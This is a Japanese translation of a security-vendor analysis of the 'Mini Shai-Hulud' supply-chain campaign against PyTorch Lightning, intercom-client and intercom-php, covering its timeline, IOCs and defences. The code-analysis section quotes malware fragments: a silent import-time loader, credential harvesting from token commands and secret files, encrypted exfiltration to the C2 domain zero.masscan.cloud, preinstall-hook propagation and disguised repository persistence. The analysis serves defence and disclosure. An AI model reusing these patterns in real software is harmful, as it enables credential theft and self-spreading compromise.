Mini Shai-Hulud: PyTorch LightningとIntercom Clientに対するクロスエコシステムサプライチェーン攻撃

概要

2026年4月下旬、「Mini Shai-Hulud」キャンペーンは、Python(Lightning(PyTorch Lightning))、Node.js(intercom-client)、PHPエコシステムにわたって広く使用されるパッケージを侵害した、高度なクロスエコシステムサプライチェーン攻撃を実行しました。攻撃者は従来のソフトウェア脆弱性を悪用するのではなく、盗まれたメンテナ認証情報とCI/CDトークンを活用して、信頼できるパッケージ名の下で悪意あるアップデートを公開しました。これらの侵害されたバージョンは、インストール時またはインポート時に自動的に実行され、Bunランタイムによって駆動されるマルチステージペイロードをデプロイして、認証情報を収集し、さらに伝播させました。

この攻撃は、現代の脅威における重要なシフトを浮き彫りにしています。信頼できる依存関係とデベロッパーワークフローは現在、主要な攻撃ベクトルになっています。組織は、ソフトウェアサプライチェーンをコアセキュリティ境界として扱い、依存関係管理、CI/CDアクセス、および認証情報保護に対する厳格な制御を適用する必要があります。

根本原因

従来の攻撃がソフトウェア脆弱性を悪用するのとは異なり、「Mini Shai-Hulud」キャンペーンは、現代的なソフトウェア配布エコシステム内の信頼を悪用することで成功しました。攻撃者はコードを破る必要はありませんでした。むしろ、それを配信するために使用されるメカニズムを侵害しました。

その核心では、このインシデントはいくつかの体系的な弱点を強調しています:

  • 侵害されたメンテナ認証情報
    攻撃者は信頼できるパブリッシャーアカウントへのアクセスを取得し、即座に疑いを招くことなく、正当なパッケージ名の下で悪意あるバージョンをリリースできるようにしました。
  • CI/CDトークンの悪用(例:GitHub Actions OIDC)
    自動化されたパイプラインが攻撃ベクトルとして活用されました。盗まれたまたは不正に設定されたトークンにより、不正なパッケージパブリッシングとリポジトリ修正が可能になり、信頼できる自動化がマルウェアの配信メカニズムに効果的に変わりました。
  • 不十分なパッケージパブリッシングコントロール
    マルチパーティ承認、リリースゲーティング、または異常検出などの厳格なセーフガードの欠如により、悪意あるアップデートが迅速に公開・配布されました。
  • リリース整合性検証の欠如
    これらのパッケージの利用者は、強力な検証メカニズム(例:署名済みアーティファクト、出所検証)を適用せず、正当なリリースと改ざんされたものを区別することが困難になりました。

Lightning&Intercom-Clientとは何か?

Lightning(PyTorch Lightning)は、PyTorchの上に構築された広く採用されているオープンソースフレームワークで、機械学習モデルの開発とトレーニングを簡素化します。複雑なトレーニングロジックを抽象化し、研究者およびエンジニアがスケーラブルなAIシステムをより効率的に構築できるようにします。研究、MLOpsパイプライン、本番環境全体で一般的に使用されています。

intercom-clientは、アプリケーションがIntercomプラットフォームと相互作用できるようにするNode.js SDKで、開発者が顧客データを管理し、メッセージングを自動化し、ユーザーコミュニケーション機能をWebおよびSaaSアプリケーションに統合することができます。

どちらのパッケージも、現代的なソフトウェアエコシステム内の高信頼コンポーネントであり、開発ワークフローと本番システムに深く組み込まれています。これらのパッケージの広範な採用とセンシティブな環境へのアクセスは、単一の信頼できる依存関係を侵害するだけで数千のプロジェクトに連鎖的な影響を与えることができるサプライチェーン攻撃にとって、特に価値のあるターゲットにしました。

発見&開示のタイムライン

Image

この図は、2026年4月29日から4月30日(UTC)の間の「Mini Shai-Hulud」サプライチェーン攻撃キャンペーン中のイベントのシーケンスを概説しています。複数のソフトウェアエコシステムがどのように侵害されたか、悪意あるアクティビティがどのように検出されたか、および軽減措置がほぼリアルタイムでどのように実施されたかの明確な年表を提供します。

キャンペーンは、いくつかのSAP関連npmパッケージがトロイの木馬化され、JavaScriptエコシステムに悪意あるコードが導入された2026年4月29日に始まり、攻撃の最初の段階をマークしました。

2026年4月30日(12時45分~13時27分UTC)に、Lightningパッケージの侵害されたバージョン2.6.2および2.6.3がPyPIに公開されました。数分以内(約13時30分UTC)、Socketなどのセキュリティプラットフォームが異常な動作を検出し、現代的な検出システムが疑わしいパッケージアクティビティにどの程度迅速に対応できるかを強調しました。

その日の遅く、PyPIの管理者は悪意あるLightningリリースを迅速に隔離することで対応し、さらなる配布を効果的に防ぎ、攻撃の影響範囲を制限しました。

14時41分UTCに、キャンペーンはNode.jsエコシステムに拡大し、盗まれたGitHub Actionsトークンを使用して悪意あるバージョンのIntercom Client([email protected]が公開されました。このバージョンは迅速に特定され、約17時00分UTCまでに削除され、プラットフォーム間の調整されたレスポンス努力を示していました。

攻撃は20時53分から22時37分UTCの間にPHPエコシステムに継続し、パッケージ[email protected]が悪意あるコミットで更新されました。変更は検出され、迅速に復帰され、延長的な露出を防ぎました。

タイムラインはインシデント後のレスポンスで結論付けられます。Intercomはセキュリティアドバイザリを発行し、侵害された認証情報をローテーションし、顧客データまたはSaaS インフラストラクチャが侵害されなかったことを確認しました。全体的な影響は、主にデベロッパーツーリングと関連する環境に限定されていました。

影響を受けたパッケージおよびバージョン

「Mini Shai-Hulud」キャンペーンは、複数のソフトウェアエコシステムを同時にターゲットにし、タイポスクワッティングや依存関係の混乱などの従来のトリックに依存するのではなく、メンテナ認証情報とCI/CDトークンを悪用することで、広く信頼されているパッケージを侵害しました。

PyPI(Pythonエコシステム)

Lightning(PyTorch Lightning)パッケージはバージョン2.6.2および2.6.3で侵害され、悪意あるコードが配布されたwheelファイルに直接組み込まれました。このペイロードはインポート時に実行され、疑いを持たないデベロッパーにとって特に危険でした。

最後の既知の安全なバージョンは2.6.1で、2026年1月30日に公開されました。両方の悪意あるバージョンはその後PyPIから削除され、ユーザーはバージョン2.6.1以前に依存関係をピンすることが強く推奨されます。

npm(Node.jsエコシステム)

intercom-clientパッケージバージョン7.0.4(2026年4月30日リリース)は、悪意あるパッケージが含まれていましたpreinstallフックにより、インストール中に攻撃者制御のコードを実行できるようになりました。

この侵害は盗まれたGitHub Actionsトークンにさかのぼり、不正なパブリッシングを可能にしました。影響を受けたバージョンは7.0.4のみで、ユーザーは最後の安全なリリースである7.0.3にすぐにダウングレードすべきです。

Composer(PHPエコシステム)

intercom-phpパッケージバージョン5.0.2は、4月30日20時53分~22時37分UTCの間に悪意あるGitタグを介して侵害されました。

タグはクリーンなコミットにリセットされていますが、その期間中にパッケージをプルしたシステムは依然として影響を受ける可能性があります。ユーザーは5.0.1にダウングレードするか、依存関係キャッシュをクリアして再インストールし、整合性を確保すべきです。

より広い脅威動作

一般的なサプライチェーン攻撃とは異なり、このキャンペーンは信頼できるパッケージ名と侵害された認証情報を活用して、悪意あるアップデートを直接注入しました。

さらに、ペイロードはワーム様の動作を示しました:

  • ローカルnpmキャッシュをスキャンして有効な認証トークンを探しました
  • 見つかった場合、他のパッケージの侵害されたバージョンを自動的に公開することを試みました
  • これにより、デベロッパー環境とエコシステム間での横方向の拡散が可能になりました

セキュリティ研究者は、盗まれた認証情報でアクセス可能な任意のパッケージがリスク中にある可能性があると警告しています。

概要表
パッケージ / エコシステム 影響を受けたバージョン 安全なバージョン 攻撃ベクトル
lightning(PyPI) 2.6.2、2.6.3 ≤ 2.6.1 侵害されたメンテナ/PyPIトークン;wheel内の悪意あるコード(インポート時に実行)
intercom-client(npm) 7.0.4 ≤ 7.0.3 盗まれたGitHub Actionsトークン;悪意あるpreinstallフック
intercom-php(Composer) 5.0.2(改ざんタグ) ≤ 5.0.1 侵害されたGitHubサービスアカウント;悪意あるcomposerプラグイン

誰が影響を受けているのか

Lightning(PyTorch Lightning)、intercom-client、intercom-php、または影響を受けたSAP npmコンポーネントの侵害されたバージョンをインストールしたデベロッパーと組織は、直接的にリスクにさらされています。これらのパッケージがインストールまたはインポートされた環境(デベロッパーワークステーション、CI/CDパイプライン、ビルドシステムを含む)は、可能性のある侵害として扱われるべきです。

これらのパッケージの広範な採用を考慮すると、1,800以上の侵害されたGitHubリポジトリの確認された数値は、キャンペーンのリーチの初期スナップショットのみを表す可能性があり、自動化された伝播を通じたさらなる拡大の可能性があります。

クラウドネイティブインフラストラクチャを実行する組織は、特にKubernetesまたはHashiCorp Vaultを使用している場合、高められたリスクに直面しており、マルウェアはこれらのシステムに関連する設定ファイル、サービストークン、およびシークレットストアを積極的にスキャンします。

コードレベルの分析

1. インポート時実行(Pythonエントリポイント)

攻撃は、Pythonのインポートメカニズムを悪用して、パッケージがインポートされるとすぐに自動実行をトリガーすることから始まります。関数呼び出しを必要とするのではなく、悪意あるロジックはパッケージ初期化に直接埋め込まれ、通常のインポートを実行ポイントに変えます。

def _run_runtime():
    runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
    start = os.path.join(runtime_dir, "start.py")
    if os.path.exists(start):
        subprocess.Popen(
            [sys.executable, start],
            cwd=runtime_dir,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )
threading.Thread(target=_run_runtime, daemon=True).start()

これは、ユーザーの認識なしに自動的に実行するように設計された、攻撃のエントリポイントです。

  • コードは__fileを使用してパッケージのインストール パスを動的に解決し、環境に関係なく機能することを保証します。
  • 悪意あるコンポーネントを含む隠された_runtimeディレクトリを探します。
  • start.pyが存在する場合、subprocess.Popenを使用してそれを起動し、次を意味します:
    • 実行はノンブロッキング
    • 通常のプログラム フロー と並行して実行します

以下の使用:

  • stdout / stderr → DEVNULLにリダイレクト
  • バックグラウンドデーモンスレッド

は、実行中の完全な見えない化を保証します。

2. ランタイムブートストラッパー(Bunローダーロジック)

初期実行を獲得した後、マルウェアはペイロード実行のための信頼できるランタイム環境を準備します。ホストシステム構成に関係なく、Bun JavaScriptランタイムが一貫して実行できることを保証します。

BUN_VERSION = "1.3.13"
ENTRY_SCRIPT = "router_runtime.js"
if local_bun.exists():
    bun_exec = str(local_bun)
elif system_bun:
    bun_exec = system_bun
else:
    download_bun()
subprocess.run([bun_exec, ENTRY_SCRIPT])

このステージは攻撃を自己完結的な実行プラットフォームに変えます。

  • マルウェアは以下を確認します:
    1. ローカルBunランタイム
    2. システムにインストールされたBun
    3. それ以外の場合はGitHubからダウンロード

これは以下を保証します:

  • ペイロードは環境に関係なく常に実行します
  • 事前にインストールされたツールへの依存がない

Bunの使用は特に戦略的です:

  • Node.jsやPythonより監視されることが少ない
  • より高速な実行
  • 従来のセキュリティツールの回避を支援します

攻撃者はホスト言語から実行を切り離し、同じペイロードがPython、Node、PHPエコシステム全体で実行できるようにします。

3. ペイロードオーケストレーション(中央制御ロジック)

このステージで、マルウェアは中央制御ロジックを有効にし、すべてのデータ収集を調整し、流出の準備をします。これは操作の「脳」として機能し、複数の悪意あるタスクを同時に調整します。

const quickResults = await Promise.all([
  collectFilesystemSecrets(),
  collectShellAndEnv(),
  collectGitHubRunnerSecrets(),]);

これは、すべての悪意あるアクティビティを調整する攻撃の脳です。

  • Promise.allを使用して複数のデータ収集ルーチンを並行して実行します
  • 実行時間を最小化 → 検出ウィンドウを削減

ペイロードは以下を構築します:

  • 送信者 → 通信チャネル(C2 + GitHub)
  • 収集者 → シークレット抽出モジュール
4. 認証情報収集(ローカル+クラウド+CI)

このステージは、攻撃の主要な目的を表しています。感染した環境から認証情報とセンシティブデータを収集します。マルウェアは複数のソースをターゲットにして、アクセスを最大化し、成功した侵害を確保します。

const token = execSync("gh auth token").trim();
ローカル環境収集
  • CLI コマンドを実行(例:gh auth token)して認証トークンを抽出します
  • process.envを介してすべての環境変数をダンプします

キャプチャ:

  • APIキー
  • データベース認証情報
  • アクセストークン
  • 設定シークレット
ファイルベースのシークレット発見
const targets = [
  ".env",
  "~/.aws/credentials",
  "~/.npmrc",
  "~/.ssh/id_rsa"
];
  • シークレットが保存される一般的な「ホットスポット」位置をスキャンします
  • ターゲット:
    • クラウド認証情報
    • SSHキー
    • パッケージレジストリトークン
クラウド認証情報アクセス
  • クラウド関連ソースをクエリします。例えば:
    • AWS認証情報とメタデータエンドポイント
    • Azure CLI トークンキャッシュ
    • GCP認証ファイル

アクセスを有効にします:

  • クラウドインフラストラクチャ
  • シークレット管理システム
  • ストレージおよびコンピュートリソース
CI/CD環境ターゲッティング
if (process.env.GITHUB_ACTIONS !== "true") return;
const dump = execSync("...memory extraction...");
  • CI/CDパイプライン内での実行を検出します
  • ランタイムメモリから直接シークレットを抽出します

高度な機能:

  • 以下をバイパスします:
    • ファイルベースの保護
    • シークレットマスキングメカニズム
5. 暗号化流出(ステルス通信)

センシティブデータを収集した後、マルウェアは安全でステルスな流出のためにそれを準備します。このステージは、盗まれた情報が転送中に保護され、ディフェンダーが検査または検出することが困難であることを保証します。

const gz = gzip(data);
const aesKey = randomBytes(32);
const encryptedKey = publicEncrypt(RSA_KEY, aesKey);

マルウェアはマルチレイヤー暗号化スキームを使用します:

  1. 圧縮(gzip)
    • データサイズを削減します
    • 基本的な難読化を追加します
  1. 対称暗号化(AES-256)
    • 圧縮されたデータを効率的に暗号化します
  1. 非対称暗号化(RSA)
    • 安全な交換のためにAESキーを暗号化します

このレイヤード アプローチは以下を保証します:

  • 強い機密性
  • インターセプションと分析への抵抗
fetch("https://zero.masscan.cloud/v1/telemetry")
  • HTTPS経由で暗号化されたペイロードを送信します
  • 通常のWebトラフィックパターンを使用します

これにより検出が困難になります。理由:

  • トラフィックは正当に見えます
  • 明らかな悪意あるシグネチャはありません
6. GitHubを隠蔽チャネルとして使用(ステルス流出)

従来のコマンド&コントロール(C2)通信に加えて、マルウェアはGitHubを隠蔽チャネルとしてデータ流出とトークン取得のために活用します。信頼できるプラットフォームを悪用することで、正当なデベロッパーワークフローに悪意あるアクティビティをブレンドします。

const url = "https://api.github.com/search/commits?q=EveryBoiWeBuildIsAWormyBoi";
隠されたトークン発見
  • GitHubコミット履歴をスキャンしてエンコードされたマーカーを探します
  • コミットメッセージ内に埋め込まれたトークンを抽出します

目的:

  • 攻撃者制御の認証情報を取得します
  • セカンダリ通信メカニズムを確立します
リポジトリを介したデータ流出
createRepo()
commitFile("results.json")
  • 自動的に新しいパブリックリポジトリを作成します
  • 盗まれたデータを構造化されたJSONファイルとしてアップロードします

観察されたパターン:

  • リポジトリの説明。例えば:
    「A Mini Shai-Hulud has Appeared」
  • エンコードまたは難読化されたデータの使用
7. サプライチェーン伝播(npm感染)

このステージで、攻撃は自己伝播するサプライチェーン感染に進化します。マルウェアはパッケージコンテンツを修正し、侵害されたパッケージが他のデベロッパーによってインストールされたときに自動的に拡散することを保証します。

pkg.scripts.preinstall = "node setup.mjs";
pkg.version = bumpPatch(pkg.version);
ライフサイクルスクリプト注入
  • package.json に悪意あるpreinstallスクリプトを追加します
  • このスクリプトはインストール中に自動的に実行されます

効果:

  • パッケージをインストールするダウンストリームユーザーは無意識のうちにマルウェアを実行します
バージョン操作
  • パッチバージョンをインクリメント(x.y.z → x.y.z+1)します

目的:

  • 悪意あるパッケージを正当なアップデートのように見せます
  • 採用の可能性を高めます
パッケージ改ざん
  • 追加のペイロードファイル(例:setup.mjs)を注入します
  • 改ざんされたtarballを再配布用に再パッケージ化します

結果:

  • 侵害されたパッケージは新しい感染ベクトルになります

CI/CDアイデンティティの悪用(OIDC)

fetch(OIDC_TOKEN)
  • GitHub Actions OIDCを使用します
  • npm公開認証情報と交換します

これが重要です:

  • パスワードを盗む必要がありません
  • それ自体に対して信頼できるアイデンティティシステムを使用します
8. リポジトリ感染&永続化

最終段階で、マルウェアは長期的な永続化を確保するため、ソースコードリポジトリを修正します。悪意あるコンポーネントをプロジェクトファイルに直接埋め込み、感染が初期侵害を超えて生き残り、将来のユーザーに拡散することを確保します。

const FILE_UPDATES = {
".vscode/tasks.json": "...",
".claude/router_runtime.js": "...",
".claude/setup.mjs": "...",
".github/workflows/format-check.yml": "..."
};
ファイルリポジトリへの注入
  • ファイルを以下に追加または上書きします:
    • IDE設定(.vscode/)
    • 隠されたディレクトリ(.claude/)
    • CI ワークフロー(.github/workflows/)

目的:

  • 隠れた実行パスを導入します
  • 開発または自動化中にペイロードが実行されることを保証します
自己複製
  • コアペイロードファイル(例:router_runtime.js)をリポジトリにコピーします

効果:

  • リポジトリをクローンするデベロッパーは、マルウェアを継承します
  • 感染はチームと環境全体に拡散します
偽装コミット
commitHeadline: "chore: update dependencies"
  • 変更を無害なメッセージの下でコミットします
  • 通常のメンテナンスまたは依存関係の更新をミミックします

社会工学:

  • コードレビュー中の疑惑を減らします
  • ルーチン開発アクティビティとブレンドします

攻撃チェーン分解

Image
1. 初期実行(ローダートリガー)

攻撃は、デベロッパーが侵害された依存関係(例:Lightning(PyTorch Lightning))をインストールまたはインポートするときに始まります。

  • 悪意あるコードはパッケージ初期化に埋め込まれます
  • Pythonインポート動作を介して自動的に実行します
  • 隠れたバックグラウンドプロセス(start.py)を起動します

ユーザー認識やインタラクションなしに、サイレント コード実行が即座に発生します。

2. 環境準備(ブートストラップステージ)

ローダー(start.py)はペイロード実行のためにシステムを準備します。

  • 環境検証を実行します:
    • OS検出
    • 許可チェック
    • ランタイム可用性
  • 組み込みペイロードコンポーネントを配置します
  • 実行コンテキストを初期化します

攻撃がさまざまな環境で確実に実行できることを保証します。

3. ランタイムデプロイ&ペイロード有効化

攻撃はクロスプラットフォームランタイムをデプロイし、メインペイロードを実行します。

  • Bunランタイムをインストールまたは再利用します
  • コアペイロードを実行します:

router_runtime.js
攻撃は、監視があまり行われていないランタイムを使用して、完全に運用可能な状態に移行します。

4. システム偵察&データ収集

ペイロードはローカルシステムからの包括的なデータ収集を開始します。

  • 抽出:
    • APIキー(AWS、GCP、Azure)
    • GitHubおよびnpmトークン
    • 環境変数
    • 設定および認証情報ファイル
  • CLI セッションとローカル認証データを読み取ります

センシティブ認証情報とアクセストークンが複数のソースから集約されます。

5. 安全なデータ流出(C2通信)

収集されたデータは暗号化され、攻撃者制御インフラストラクチャに送信されます。

  • 以下に送信:

https://zero.masscan.cloud

  • 暗号化とHTTPSを使用して、正当なトラフィックとブレンドします

盗まれたデータは、転送中に検出が困難なまま集中化されます。

6. GitHubを介した隠蔽永続化

GitHubはセカンダリ流出と永続化チャネルとして悪用されます。

  • 攻撃者制御リポジトリへのデータを暗号化してアップロード
  • 自動的にリポジトリを作成または修正する可能性があります

信頼できるデベロッパーアクティビティにブレンドしながら、長期アクセスを維持します。

7. 認証情報悪用&アクセス拡大

盗まれた認証情報が攻撃者のアクセスを拡大するために積極的に活用されます。

  • ターゲット:
    • GitHubリポジトリ
    • クラウドインフラストラクチャ
    • CI/CDパイプライン
  • 有効にします:
    • 不正なデプロイメント
    • シークレット抽出
    • インフラストラクチャ操作

開発環境と本番環境の完全な侵害が可能になります。

8. 伝播&サプライチェーン拡大

攻撃は自己伝播するサプライチェーン脅威に進化します。

  • 盗まれたトークンを使用:
    • 悪意あるパッケージを公開
    • リポジトリにコードを注入
  • 正当な自動化(例:依存関係更新)をミミックします

攻撃はエコシステム全体に拡散し、ワーム様のサプライチェーン侵害に変わります。

認証情報窃盗の目的とターゲット資産

マルウェアは広範な収集アプローチを採用し、以下からセンシティブデータを抽出します:

デベロッパー環境
  • GitHubトークン(個人アクセストークンとGitHub Appトークン)
  • npmおよびパッケージレジストリトークン(.npmrc、環境変数)
  • SSHプライベートキー(~/.ssh/id_rsa)
  • ローカル設定ファイル(.env、.pypirc、.git-credentials)
  • シェル履歴とCLIセッションアーティファクト

これらの認証情報は以下を有効にします:

  • リポジトリアクセスと修正
  • 不正なパッケージパブリッシング
  • システム間の横方向の動き
クラウドインフラストラクチャ認証情報

ペイロードはクラウド認証メカニズムを積極的にターゲットにします:

  • AWS
    • 環境変数(AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY)
    • 共有認証情報ファイル(~/.aws/credentials)
    • インスタンスメタデータサービス(IMDS)とECSエンドポイント
  • Azure
    • Azure CLI トークンキャッシュ
    • テナントと ID メタデータ
    • Key Vaultシークレットへのアクセス
  • Google Cloud(GCP)
    • Application Default Credentials(ADC)
    • サービスアカウントキー
    • OAuthトークン検証エンドポイント
CI/CDパイプラインシークレット

マルウェアは、高い特権トークンが多くの場合公開されるCI/CD環境での実行を特に優先化します:

  • 以下のようなプラットフォームを検出:
    • GitHub Actions
    • CircleCI
    • AWS CodeBuild
    • Vercel
  • 抽出:
    • ランタイム環境変数
    • パイプラインシークレット
    • GitHub Actionsランナーメモリ(高度な技術)

CI/CDトークンは、デプロイメント、公開、およびリポジトリアクセスを含む広い権限を持つことが多いです。

拡張ターゲット表面

標準的な認証情報を超えて、マルウェアは以下にもアクセスする可能性があります:

  • Dockerおよびコンテナレジストリ認証情報
  • Kubernetes設定ファイル(~/.kube/config)
  • Helmチャートとデプロイメント設定
  • MCP / AIエージェント設定
  • VPN認証情報とセッションデータ
  • 暗号資産ウォレット

これらのアーティファクトは攻撃者機能を以下に拡張:

  • インフラストラクチャ制御
  • コンテナ環境
  • デベロッパーツーリングエコシステム

認証情報検証&優先化

効率を最大化するために、マルウェアは使用前に盗まれた認証情報を検証します:

  • GitHubトークン → API(/user)を介して検証
  • npmトークン → レジストリ(whoami)を介して検証

のみアクティブで有効な認証情報が以下に使用:

  • さらなる悪用
  • 伝播
  • データ流出

侵害の兆候(IOC)

「Mini Shai-Hulud」キャンペーンは、Python、Node.js、PHPエコシステム全体にわたって識別可能なアーティファクトの範囲を残しました。これらの指標は、セキュリティチームが侵害を検出し、脅威ハントを実行し、システム整合性を検証するために使用できます。

影響を受けたパッケージ
  • Lightning(PyTorch Lightning)
    • バージョン:2.6.2、2.6.3
  • intercom-client
    • バージョン:7.0.4
  • intercom-php
    • バージョン:5.0.2(悪意あるタグ)
悪意あるファイルおよびペイロード

侵害されたパッケージ全体で観察される主要なペイロードコンポーネント:

  • lightning/_runtime/router_runtime.js
  • lightning/_runtime/start.py
  • setup.mjs(npmパッケージ)
  • router_runtime.js(npmの~11.7 MB バリアント)

これらのファイルは、認証情報収集、永続化、およびリモートコマンド実行を担当していました。

ファイルハッシュ(高い信頼指標)
  • router_runtime.js(Lightningペイロード)
    • SHA-256:
      5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1
  • start.py(Lightningローダー)
    • SHA-256:
      8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2
  • MD5(router_runtime.js)
    • 40d0f21b64ec8fb3a7a1959897252e09
Git&サプライチェーンアーティファクト
  • 悪意あるGitコミット(PHPパッケージ):
    • e69bf4b3
  • クリーンなコミット参照:
    • 9371eba9
  • セキュリティアドバイザリ:
    • intercom-client:GHSA-54pg-9963-v8vg
    • intercom-php:GHSA-gr3r-crp5-qrrm
コマンド&コントロール(C2)インフラストラクチャ
  • ドメイン:
    • zero.masscan.cloud
  • IPアドレス:
    • 94.154.172.43
  • エンドポイントパターン:
    • /v1/telemetry

動作指標(検出機会)

セキュリティ監視システム(SIEM / EDR / IDS)は以下をフラグ立てすべき:

  • 以下の存在:
    • PythonホイールまたはNode_modules内のrouter_runtime.jsまたはstart.py
  • 疑わしいディレクトリの作成:
    • .claude
    • .vscode(異常なまたは注入されたコンテンツ付き)
  • 予期しないプロセス実行:
    • pip installまたはnpm install中に起動されたbunランタイム
      (ほとんどの環境では非常に異常)
  • 疑わしいGitHubアクティビティ:
    • 説明が次のような新しいリポジトリ:
      「A Mini Shai-Hulud has Appeared」
    • デューン関連の命名パターン
  • リポジトリ異常:
    • 不正なブランチプッシュ/削除
    • なりすまされたアカウント(例:Dependabotのような動作)にリンクされたアクティビティ
    • アクター参照:Lightningリポジトリ内のpl-ghost
  • ビルド整合性の問題:
    • 悪意あるリリースでのSLSA認証の欠如
    • 以前の正当なバージョンに存在しているが、侵害されたビルドでは欠落
IOC概要表
指標タイプ 値 / IOC
侵害されたパッケージ lightning v2.6.2、2.6.3;intercom-client v7.0.4;intercom-php v5.0.2
悪意あるファイル start.py、router_runtime.js、setup.mjs
SHA-256ハッシュ 5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1;8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2
Gitコミット e69bf4b3(悪意あり)、9371eba9(クリーン)
C2インフラストラクチャ zero.masscan.cloud、94.154.172.43
流出マーカー 「A Mini Shai-Hulud has Appeared」、デューン関連のリポジトリ
動作シグナル インストール中のbun実行、異常な.vscode/.claudeディレクトリ
サプライチェーン指標 SLSA認証の欠落

影響評価

  1. 潜在的なクラウド&インフラストラクチャ乗っ取り
    盗まれた認証情報により、攻撃者は以下にアクセスできる可能性があります:
    • クラウドリソース(AWS、GCP、Azure)
    • プライベートリポジトリ
    • 内部サービス
  1. 大規模なデータ流出
    攻撃者は1,800以上のGitHubリポジトリを作成して盗まれたデータを保存し、自動化されたスケーラブルな流出を示しました。
  2. ワーム様の伝播リスク
    攻撃は盗まれたトークンを再利用して:
    • 他のパッケージを修正
    • 悪意あるバージョンを再公開
    • サプライチェーン全体に拡散
  1. サイレント&長期的な影響
    直接的な可視的ダメージはありませんが、実際の脅威は以下です:
    • 持続的な不正なアクセス
    • 時間の経過に伴う未検出の侵害
安全なサプライチェーン推奨事項

「Mini Shai-Hulud」キャンペーンは、現代の攻撃者がどのようにしてオープンソースエコシステム、CI/CDパイプライン、デベロッパーワークフローの信頼を悪用するかを示しています。組織は従来のセキュリティモデルを超えて、サプライチェーン優先のセキュリティ戦略を採用する必要があります。

直ちにアクション(影響を受ける可能性がある場合)

侵害されたバージョンをインストールした環境を潜在的に侵害として扱います。

  • 影響を受けたパッケージを直ちに削除:
    • Lightning(PyTorch Lightning)2.6.2、2.6.3
    • intercom-client 7.0.4
    • intercom-php 5.0.2
  • 既知の安全なバージョンにダウングレード:
    • Lightning ≤ 2.6.1
    • intercom-client ≤ 7.0.3
    • intercom-php ≤ 5.0.1
  • すべての認証情報をローテーション:
    • GitHubトークン
    • npm / PyPIトークン
    • クラウド認証情報(AWS、GCP、Azure)
    • 環境変数
  • システムを監査:
    • CI/CDパイプライン
    • デベロッパーマシン
    • ビルドログと送信トラフィック
  • GitHubアクティビティをレビュー:
    • 未知のリポジトリ
    • 疑わしいコミットまたはエンコードされたデータ

サプライチェーンセキュリティを強化

1. 依存関係整合性を適用
  • 依存関係を特定の検証済みバージョンにピン止めします
  • 最新のSBOM(Software Bill of Materials)を維持します
  • 以下のアラート:
    • 予期しないバージョン変更
    • 新しいライフサイクルスクリプト(preinstall、postinstall)
2. ビルド出所を検証
  • SLSAなどのフレームワークを採用します
  • cosignなどの署名ツールを使用します
  • 有効な出所またはアテステーションなしのビルドを却下します
3. CI/CDパイプラインをロックダウン
  • すべてのトークンに最小特権アクセスを適用します
  • GitHub Actions OIDC権限を制限します
  • CIトークンから以下を防止:
    • パッケージをグローバルに公開
    • 無関係のリポジトリを修正
4. リリースコントロールを導入
  • 以下を必須にします:
    • リリースのマルチパーティ承認
    • センシティブ更新の手動検証
  • 以下を使用:
    • カナリア展開
    • 本番前のステージング環境
5. 動作異常を監視

ランタイム動作に焦点を当て、シグネチャのみではありません:

  • インストール中の予期しないプロセス:
    • pip install、npm install、composer install
  • 疑わしいファイル作成:
    • 隠れたスクリプト付きの.claude、.vscode
  • 異常な送信トラフィック:
    • 未知のドメイン(例:テレメトリエンドポイント)
6. デベロッパー環境を保護
  • シークレットを安全に保存(プレーンテキストファイルを避ける)
  • 認証情報を定期的にローテーション
  • リポジトリ書き込み権限を制限
  • デベロッパーをサプライチェーンリスクに関する教育

結論

「Mini Shai-Hulud」キャンペーンは、敵対者が従来の脆弱性を悪用せずに信頼できるエコシステムがどのように侵害されるかを示す、サプライチェーン攻撃の重要な進化を表しています。盗まれた認証情報を活用しCI/CDパイプラインを悪用することで、攻撃者はLightning(PyTorch Lightning)やintercom-clientなどの広く使用されるパッケージに直接悪意あるコードを導入し、サイレント実行、認証情報収集、および開発環境全体での潜在的な伝播を可能にしました。

確認されたエンドユーザーデータ侵害は発生していませんが、実際のリスクはセンシティブ認証情報のステルスな露出と長期的な不正なアクセスの可能性にあります。このインシデントは、現代的なセキュリティは、アプリケーションコードを超えて、依存関係、デベロッパーツーリング、およびビルドパイプラインを含む必要があるという重要な現実を強化しています。

組織は、依存関係整合性、最小特権アクセス、ビルド検証、および継続的な監視に焦点を当てた、サプライチェーン中心のセキュリティアプローチを採用する必要があります。今日の脅威環境では、ソフトウェアエコシステムの信頼は継続的に検証される必要があります。仮定されるべきではありません。

翻訳元: https://www.resecurity.com/blog/article/mini-shai-hulud-a-cross-ecosystem-supply-chain-attack-on-pytorch-lightning-intercom-client

ソース: resecurity.com